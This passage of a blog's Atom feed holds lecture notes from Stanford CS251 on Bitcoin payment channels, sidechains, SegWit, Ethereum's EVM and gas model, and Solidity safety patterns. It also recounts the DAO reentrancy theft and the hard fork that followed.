<li>At the end, reveal sk1 and sk2. Contract re-verifies integrity and pays winner.</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/programming" term="programming" label="programming"/><category scheme="https://ashishb.net/tag/cs251" term="cs251" label="cs251"/></entry><entry><title type="html">Stanford CS251: Lecture 16</title><link href="https://ashishb.net/programming/stanford-cs251-lecture-16/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/programming/stanford-cs251-cryptocurrencies-blockchains-and-smart-contracts/?utm_source=atom_feed" rel="related" type="text/html" title="Stanford CS251: Cryptocurrencies, blockchains, and smart contracts"/><link href="https://ashishb.net/programming/stanford-cs251-lecture-19/?utm_source=atom_feed" rel="related" type="text/html" title="Stanford CS251: Lecture 19"/><link href="https://ashishb.net/programming/stanford-cs251-lecture-18/?utm_source=atom_feed" rel="related" type="text/html" title="Stanford CS251: Lecture 18"/><link href="https://ashishb.net/programming/stanford-cs251-lecture-15/?utm_source=atom_feed" rel="related" type="text/html" title="Stanford CS251: Lecture 15"/><link href="https://ashishb.net/programming/stanford-cs251-lecture-13/?utm_source=atom_feed" rel="related" type="text/html" title="Stanford CS251: Lecture 13"/><id>https://ashishb.net/programming/stanford-cs251-lecture-16/</id><author><name>Ashish Bhatia</name></author><published>2019-04-01T07:18:53+00:00</published><updated>2019-04-01T07:18:53+00:00</updated><content type="html"><![CDATA[<blockquote>Explore the efficiency of Bitcoin payment channels, enabling faster transactions beyond blockchain limits. Uncover how these channels optimize off-chain payments.</blockquote><h3 id="lecture-16-bitcoin-payment-channel">Lecture 16: Bitcoin payment channel</h3>
<p>Visa ~ 10, 000 transactions per second Bitcoin ~ 3 transactions per second =&gt; 60 GB of blockchain data per year</p>
<p>Waiting for 6 blocks ~ 60 mins is a huge wait for Bitcoin. Therefore, tipping or having an ongoing channel of payments on the blockchain is hard. Payment channels help with that.</p>
<h4 id="funding-channel---unidirectional-payment-channels">Funding channel - unidirectional payment channels</h4>
<p>Alice is planning to pay Bob.</p>
<ol>
<li>Alice creates a funding transaction. She puts, say, 100 bitcoin in 2-of-2 multi-sig account C.</li>
<li>When Alice wants to pay Bob, she gives Bob a single funding transaction which sends money from C, 1 Bitcoin to Bob and 99 to Alice.</li>
<li>A later transaction would be sending 2 to Bob and 98 to Alice. This overwrites the previous transaction.</li>
</ol>
<p>Finally&hellip; say the last transaction is 40 go to Alice and 60 to Bob then Bob signs the last transaction and submits it to the chain. Since the last transaction is the best value for Bob.</p>
<p>Bob can host money hostage. Time-locked transactions ensure that Bob can hold Alice&rsquo;s 100 Bitcoin hostage.</p>
<p>To build a bidirectional channel, one can have two unidirectional channels but they have a limitation, once Alice has exhausted her channel, she cannot send more money to Bob even if Bob has sent Alice money via the other channel.</p>
<p>Alternatively, one funding channel with time lock of 100 can be forked into another funding channel of time lock of 99, which can further be forked into funding channels with the smaller time locks. It is recommended not to go beyond the depth of 11 and time lock of 50 for such an approach since in the worst case, all the funding transactions will have to be committed.</p>
<h4 id="payment-channel-network-lightning">Payment Channel Network (Lightning)</h4>
<p>A -&gt; D can be settled as A -&gt; B -&gt; C -&gt; D off-chain using HTLC (Hash-time locked contracts). To do this, D sends a secret S to A and A commits P2SH with H(s), B and C do the same. D will reveal S for C -&gt; D and now C reveals S and uses than for B -&gt; C transaction and B uses that for A -&gt; B transaction.</p>
]]></content><category scheme="https://ashishb.net/category/programming" term="programming" label="programming"/><category scheme="https://ashishb.net/tag/cs251" term="cs251" label="cs251"/></entry><entry><title type="html">Stanford CS251: Lecture 15</title><link href="https://ashishb.net/programming/stanford-cs251-lecture-15/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/programming/stanford-cs251-cryptocurrencies-blockchains-and-smart-contracts/?utm_source=atom_feed" rel="related" type="text/html" title="Stanford CS251: Cryptocurrencies, blockchains, and smart contracts"/><link href="https://ashishb.net/programming/stanford-cs251-lecture-19/?utm_source=atom_feed" rel="related" type="text/html" title="Stanford CS251: Lecture 19"/><link href="https://ashishb.net/programming/stanford-cs251-lecture-18/?utm_source=atom_feed" rel="related" type="text/html" title="Stanford CS251: Lecture 18"/><link href="https://ashishb.net/programming/stanford-cs251-lecture-16/?utm_source=atom_feed" rel="related" type="text/html" title="Stanford CS251: Lecture 16"/><link href="https://ashishb.net/programming/stanford-cs251-lecture-13/?utm_source=atom_feed" rel="related" type="text/html" title="Stanford CS251: Lecture 13"/><id>https://ashishb.net/programming/stanford-cs251-lecture-15/</id><author><name>Ashish Bhatia</name></author><published>2019-04-01T07:18:02+00:00</published><updated>2019-04-01T07:18:02+00:00</updated><content type="html"><![CDATA[<blockquote>Explore key Bitcoin advancements like Sidechains, SegWit, and Lightning Network. Learn how they enhance privacy, efficiency, and scalability without compromising core principles.</blockquote><h3 id="lecture-15-bitcoin-guest-talk-greg-maxwell--pieter-wuille---blockstream-on-sidechains">Lecture 15: Bitcoin guest talk (Greg Maxwell &amp; Pieter Wuille - Blockstream) on sidechains</h3>
<p>Forking does not advance Bitcoin since forks suffer from economic acceptance.</p>
<h4 id="utxo-model">UTXO model</h4>
<p>UTXO model is less intuitive, more private, and smaller persistent storage footprint. UTXO implicitly prevents a replay attack. Ethereum carries nonce around even for empty accounts to prevent replay attacks.</p>
<h4 id="validation-not-computation">Validation not computation</h4>
<p>Bitcoin addresses are a 160-bit hash of the public key since the public key is unusually long (512-bit). Bitcoin payments can be made to scripts. These scripts are not for computation but spendability conditions. Rather than scripts, a hash of the script is added to the blockchain as a privacy improvement. 10% of Bitcoins are stored using P2SH scripts.   
    
    
<a href="https://bitcointechtalk.com/what-is-a-bitcoin-merklized-abstract-syntax-tree-mast-33fdf2da5e2f?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">MAST</a> is meant to make transactions even smaller. One does not need a Turing-complete language since one only needs to verify and not compute on the blockchain.</p>
<h3 id="settling-outside-the-main-chain">Settling outside the main chain</h3>
<p>Bitcoin is like a court, you go there for resolution, but you don&rsquo;t carry all your business in front of the court. Transaction cut-through allows cooperating parties to reduce their fees by eliminating intermediate transactions, A -&gt; B -&gt; C becomes A -&gt; C. Sidechains are like lower courts while Bitcoin main chain is like supreme court of the settlement.</p>
<p>Cut-through + Confidential transactions + Aggregation = Mimblewimble</p>
<p>Cut-through + Payment channels + Hash locked transactions = Lightning</p>
<p>One-way peg like Betacoin gives users a chance to burn Bitcoins and get Betacoins. But given that it is one-way, there is no way for the user to get the Bitcoins back. Therefore, Betacoins become less valuable of choice.</p>
<p>  
    
    
<a href="https://bitcointalk.org/index.php?topic=277389.0&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">CoinWitness</a> produced first two-way side chain but is not practical right now since the whole system has to be verified under a Zero-knowledge proof, but with SPV it is possible since SPV proofs are simple enough to verify, but there are tons of complications associated with long-chain reorgs.</p>
<p>Zero Knowledge Proofs are slow, but they can be used outside Bitcoin. For example, Alice gives Bob the hash of a key K and a piece of data encrypted with K. Using Zero-knowledge, Bob certified that encrypted solution is correct. Now, Bob sends money using P2SH to who-so-ever who can provide K which hashes to a given hash. A detailed example of a Bitcoin side-chain can be seen at   
    
    
<a href="https://github.com/elementsproject?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">https://github.com/elementsproject</a></p>
<h4 id="segregated-witness">Segregated Witness</h4>
<p>Consider a 1-of-2 multi-sig; the transaction ID will depend on who signs, this invalidates successor transactions and is therefore troubling. SegWit solves this in a backward compatible way by making existing signature fields empty and moving them out using P2SH. Non-witness data costs more to store to discourage someone from storing too outside the chain.</p>
]]></content><category scheme="https://ashishb.net/category/programming" term="programming" label="programming"/><category scheme="https://ashishb.net/tag/cs251" term="cs251" label="cs251"/></entry><entry><title type="html">Stanford CS251: Lecture 13</title><link href="https://ashishb.net/programming/stanford-cs251-lecture-13/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/programming/stanford-cs251-cryptocurrencies-blockchains-and-smart-contracts/?utm_source=atom_feed" rel="related" type="text/html" title="Stanford CS251: Cryptocurrencies, blockchains, and smart contracts"/><link href="https://ashishb.net/programming/stanford-cs251-lecture-19/?utm_source=atom_feed" rel="related" type="text/html" title="Stanford CS251: Lecture 19"/><link href="https://ashishb.net/programming/stanford-cs251-lecture-18/?utm_source=atom_feed" rel="related" type="text/html" title="Stanford CS251: Lecture 18"/><link href="https://ashishb.net/programming/stanford-cs251-lecture-16/?utm_source=atom_feed" rel="related" type="text/html" title="Stanford CS251: Lecture 16"/><link href="https://ashishb.net/programming/stanford-cs251-lecture-15/?utm_source=atom_feed" rel="related" type="text/html" title="Stanford CS251: Lecture 15"/><id>https://ashishb.net/programming/stanford-cs251-lecture-13/</id><author><name>Ashish Bhatia</name></author><published>2019-04-01T07:16:44+00:00</published><updated>2019-04-01T07:16:44+00:00</updated><content type="html"><![CDATA[<blockquote>Explore Ethereum&rsquo;s smart contracts, instruction types, and applications like NameCoin and auctions. Learn safe fund transfers with Solidity&rsquo;s check-effects-interaction.</blockquote><h3 id="lecture-13---ethereum">Lecture 13 - Ethereum</h3>
<p>Code: ROM (Read-only memory) calldata: arguments</p>
<p>There are two types of instructions: Arithmetic including SHA3 and sys operations like create [contract], call [contract], and delegate call, etc.</p>
<p>CALL - called code is executed in the context of called contract
CALLLOAD - called code is executed in the context of the current contract, msg.sender is calling contract
DELEGATECALL - similar to callload except for msg.sender remains unchanged</p>
<p>Exceptions: leads to execution halting</p>
<h4 id="applications">Applications</h4>
<ol>
<li>DB: NameCoin</li>
<li>Auctions: decentralized eBay but since everything is public, requires commitments to have sealed bid auctions.</li>
</ol>
<h4 id="how-to-safely-transfer-funds">How to safely transfer funds</h4>
<p>check-effects-interaction paradigm</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Solidity
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">6
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">7
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-solidity" data-lang="solidity"><span style="display:flex;"><span><span style="color:#719e07">if</span> (amount <span style="color:#719e07">&gt;</span> <span style="color:#2aa198">0</span>) {  <span style="color:#586e75">// check
</span></span></span><span style="display:flex;"><span><span style="color:#586e75"></span>    pendingReturns[<span style="color:#b58900">msg</span>.<span style="color:#b58900">sender</span>] <span style="color:#719e07">=</span> <span style="color:#2aa198">0</span>;  <span style="color:#586e75">// effects
</span></span></span><span style="display:flex;"><span><span style="color:#586e75"></span>    <span style="color:#719e07">if</span> (<span style="color:#719e07">!</span><span style="color:#b58900">msg</span>.<span style="color:#b58900">sender</span>.<span style="color:#b58900">send</span>(amount)) {  <span style="color:#586e75">// interaction
</span></span></span><span style="display:flex;"><span><span style="color:#586e75"></span>        pendingReturns[<span style="color:#b58900">msg</span>.<span style="color:#b58900">sender</span>] <span style="color:#719e07">=</span> amount;
</span></span><span style="display:flex;"><span>        <span style="color:#719e07">return</span> <span style="color:#cb4b16">false</span>;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>Events can be used for getting callbacks and executing a task in response to a change on the chain.</p>
<p>Use <code>selfdestruct(beneficiary)</code> to kill a contract and send the leftover money to the beneficiary.</p>
]]></content><category scheme="https://ashishb.net/category/programming" term="programming" label="programming"/><category scheme="https://ashishb.net/tag/cs251" term="cs251" label="cs251"/></entry><entry><title type="html">Stanford CS251: Lecture 14</title><link href="https://ashishb.net/programming/stanford-cs251-lecture-14/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/programming/stanford-cs251-cryptocurrencies-blockchains-and-smart-contracts/?utm_source=atom_feed" rel="related" type="text/html" title="Stanford CS251: Cryptocurrencies, blockchains, and smart contracts"/><link href="https://ashishb.net/programming/stanford-cs251-lecture-19/?utm_source=atom_feed" rel="related" type="text/html" title="Stanford CS251: Lecture 19"/><link href="https://ashishb.net/programming/stanford-cs251-lecture-18/?utm_source=atom_feed" rel="related" type="text/html" title="Stanford CS251: Lecture 18"/><link href="https://ashishb.net/programming/stanford-cs251-lecture-16/?utm_source=atom_feed" rel="related" type="text/html" title="Stanford CS251: Lecture 16"/><link href="https://ashishb.net/programming/stanford-cs251-lecture-15/?utm_source=atom_feed" rel="related" type="text/html" title="Stanford CS251: Lecture 15"/><id>https://ashishb.net/programming/stanford-cs251-lecture-14/</id><author><name>Ashish Bhatia</name></author><published>2019-04-01T07:16:41+00:00</published><updated>2019-04-01T07:16:41+00:00</updated><content type="html"><![CDATA[<blockquote>Explore Ethereum governance challenges like reentrancy attacks and the DAO&rsquo;s collapse. Learn from historical insights to enhance smart contract security and blockchain development.</blockquote><h3 id="lecture-14-ethereum-governance">Lecture 14: Ethereum Governance</h3>
<p>When contracts call other contracts, there are four major parameters, g - gas, v - value, in - in size of inputs, out - out size of outputs. The gas must come from the initial transaction, the ongoing calls to different cannot refuel the gas.</p>
<p>By default, all the gas is passed during the contract call and the value passed is 0.</p>
<p>A contract can receive money via <code>contract.send(&lt;money_in_wei&gt;)</code> only if it defines a fallback function</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Solidity
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">4
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-Solidity" data-lang="Solidity"><span style="display:flex;"><span><span style="color:#586e75">// This function is called with 2300 wei gas by default. This is sufficient for logging.
</span></span></span><span style="display:flex;"><span><span style="color:#586e75">// Usually left blank
</span></span></span><span style="display:flex;"><span><span style="color:#586e75"></span><span style="color:#268bd2">function</span> () {
</span></span><span style="display:flex;"><span>}</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Solidity
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">3
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-Solidity" data-lang="Solidity"><span style="display:flex;"><span><span style="color:#586e75">// gas 0 = 2300 wei
</span></span></span><span style="display:flex;"><span><span style="color:#586e75"></span>f.<span style="color:#b58900">send</span>(x) <span style="color:#719e07">=</span> f.<span style="color:#b58900">value</span>(x).<span style="color:#b58900">gas</span>(<span style="color:#2aa198">0</span>)();
</span></span><span style="display:flex;"><span>The LHS and the RHS are same except <span style="color:#719e07">for</span> one subtle difference. If <span style="color:#b58900">send</span> fails it <span style="color:#719e07">returns</span> <span style="color:#cb4b16">false</span>, <span style="color:#719e07">if</span> the <span style="color:#b58900">call</span> on the right side fails, it throws an exception.</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>This has led to subtle bugs, for example, if the call <code>f.send()</code> is made after the stack is already 1024 levels deep then the call to send will fail. A contract not checking its return value can be in trouble.</p>
<p><code>f.send(100)</code> is safe since it sends only 2300 gas, but <code>f.call.value(100)()</code> is unsafe against   
    
    
<a href="https://hackernoon.com/hackpedia-16-solidity-hacks-vulnerabilities-their-fixes-and-real-world-examples-f3210eba5148?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">reentrancy attacks</a> since it does not have a gas limit by default.</p>
<p>There are three ways to avoid reentrancy attacks - use <code>contract.send</code>, use a mutex to make all public calls non-entrant, and third, use the check-effects-interaction paradigm.</p>
<h4 id="the-dao">The DAO</h4>
<p>The DAO was &ldquo;the&rdquo; Decentralized Autonomous Organization launched on April 30, 2016, tokens were available to buy for 27 days. By May 26, 2016, 10.1M Ether was invested in it (10% of all ether). Anyone can table an investment proposal and vote over 14 days, 20-53% was a quorum to put the money in an investment. This itself had a 53% attack, so, anyone with 53% can do whatever he wants. To prevent that 5 of 11 curators have to sign off the proposal. The only way to leave was to do a split which had 7 day signup period, everyone who signs up will leave with you, and then there is 27 day buy-in period. This suffered from a <strong>stalking attack</strong> since anyone who has majority shares can leave alongside you and get shares in the new DAO as well. The other problem was <strong>ambush voting</strong>, voting &ldquo;no&rdquo; locks one&rsquo;s shares, so, it was best to not vote till the last moment. 3.6M Eth (5% of all Eth) was stolen via a reentrancy attack on DAO&rsquo;s splitting code on June 16. July 20 was the deadline when all the forked DAOs to steal money would have been finalized. Hark fork was the only way out to save the lost funds. 81% voted in favor of the hard fork based on the polling by the Ethereum foundation. Some stayed on Ethereum classic on the old chain. Others moved to the new chain &ldquo;Ethereum&rdquo;.</p>
]]></content><category scheme="https://ashishb.net/category/programming" term="programming" label="programming"/><category scheme="https://ashishb.net/tag/cs251" term="cs251" label="cs251"/></entry><entry><title type="html">Stanford CS251: Lecture 12</title><link href="https://ashishb.net/programming/stanford-cs251-lecture-12/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/programming/stanford-cs251-cryptocurrencies-blockchains-and-smart-contracts/?utm_source=atom_feed" rel="related" type="text/html" title="Stanford CS251: Cryptocurrencies, blockchains, and smart contracts"/><link href="https://ashishb.net/programming/stanford-cs251-lecture-19/?utm_source=atom_feed" rel="related" type="text/html" title="Stanford CS251: Lecture 19"/><link href="https://ashishb.net/programming/stanford-cs251-lecture-18/?utm_source=atom_feed" rel="related" type="text/html" title="Stanford CS251: Lecture 18"/><link href="https://ashishb.net/programming/stanford-cs251-lecture-16/?utm_source=atom_feed" rel="related" type="text/html" title="Stanford CS251: Lecture 16"/><link href="https://ashishb.net/programming/stanford-cs251-lecture-15/?utm_source=atom_feed" rel="related" type="text/html" title="Stanford CS251: Lecture 15"/><id>https://ashishb.net/programming/stanford-cs251-lecture-12/</id><author><name>Ashish Bhatia</name></author><published>2019-04-01T07:14:50+00:00</published><updated>2019-04-01T07:14:50+00:00</updated><content type="html"><![CDATA[<blockquote>Explore the intricate world of alt-coins and Ethereum&rsquo;s &ldquo;consensus computer,&rdquo; including EVM bytecode, accounts, and gas fees. Unravel blockchain&rsquo;s innovations today!</blockquote><h3 id="recap-alt-coins">Recap: alt-coins</h3>
<p>Bitcoin is a replicated state machine, the system moves within <code>S</code> States with <code>I</code> inputs producing <code>O</code> outputs. For Bitcoin, <code>S</code> is the set of UTXOs. For Namecoin, the state consists (name, value).</p>
<p>Ethereum&rsquo;s goal was to implement this functionality in a general way by building a &ldquo;consensus computer&rdquo; expressed in a Turing-complete language.</p>
<h3 id="ethereum">Ethereum</h3>
<p>State: Great arbitrary storage space, arbitrary code (isolated memory space), and account balance. Inputs: (address, input data) Transition: update storage and change account balance</p>
<p>Issues: process isolation ensured via signatures and resource consumption limits ensured by requiring a payment for everything.</p>
<p>An Ethereum block consists of merkle-like trees hashes - a tree hash of state (code, account balance, nonce, and storage) - a tree hash for updates which is a collection of transactions. Each transactions has a sender, money, Pid, and code. - a tree hash of receipts. Each transaction has a corresponding receipt. A receipt contains the final state, gas used, and log data. - Just like Bitcoin, all storage is public.</p>
<h4 id="accounts">Accounts</h4>
<p>Ethereum has (externally owned) accounts controlled by a private key and contracts (Dapp).</p>
<p><code>Address of account = SHA3(public key)[:20]</code> <code>Address of dapp = SHA3(creator's address, nonce)</code></p>
<p>Both have account balance and a nonce. EOA has public key, Dapp don&rsquo;t. Dapp has code, EOA don&rsquo;t.</p>
<h4 id="message-format">Message Format</h4>
<p>(to, from, value, data, start <em>gas, gas</em> price)</p>
<p>Three important message types:</p>
<ol>
<li>Payment: from:sender, to:recipient, sender, value:$, (value) optional: data, gas_price:transaction fee</li>
<li>Contract call: to: contract address, from:sender, value:$, data: f(), args, start_gas: how much computation are you willing to pay for</li>
<li>Contract create: to: null, from:sender, data: code, value: initial balance, start_gas: pay for contract creation</li>
</ol>
<p>Note: Nonce goes up every sent transaction to prevent replay attack.</p>
<h4 id="evm">EVM</h4>
<p>Code is written in Ethereum Virtual Machine (EVM) bytecode - RAM is 32-bytes (256-bit), and persistent storage is 32-bytes addressable (2256 bytes). All memory is initialized to 0. Ethereum call stack size is limited to 1024. Storage can be word-addresssable, each key is 256-bits in size. Features: crypto (SHA3), interaction with blockchain, send messages, logging/output. Missing features: No RNG or else txns are not reproducible. No floating points.</p>
<p>No one writes EVM code directly. Solidity (Javascript-like) is more popular now. Serpent (Python-like) is less popular. Mutan (C/Go-like) is under development, Visual Basic is under development as well.</p>
<h4 id="gas-transaction-fees">Gas (transaction fees)</h4>
<p>Every message specifies STARTGAS and GASPRICE.
Current gas price is about <code>30 billion wei (3* 10e-8 ether)</code>.
You pay start <code>gas * gas price</code>, deducted at the start.
If you are out of gas, execution halts, state reverts but miner keeps the gas as the fee.</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
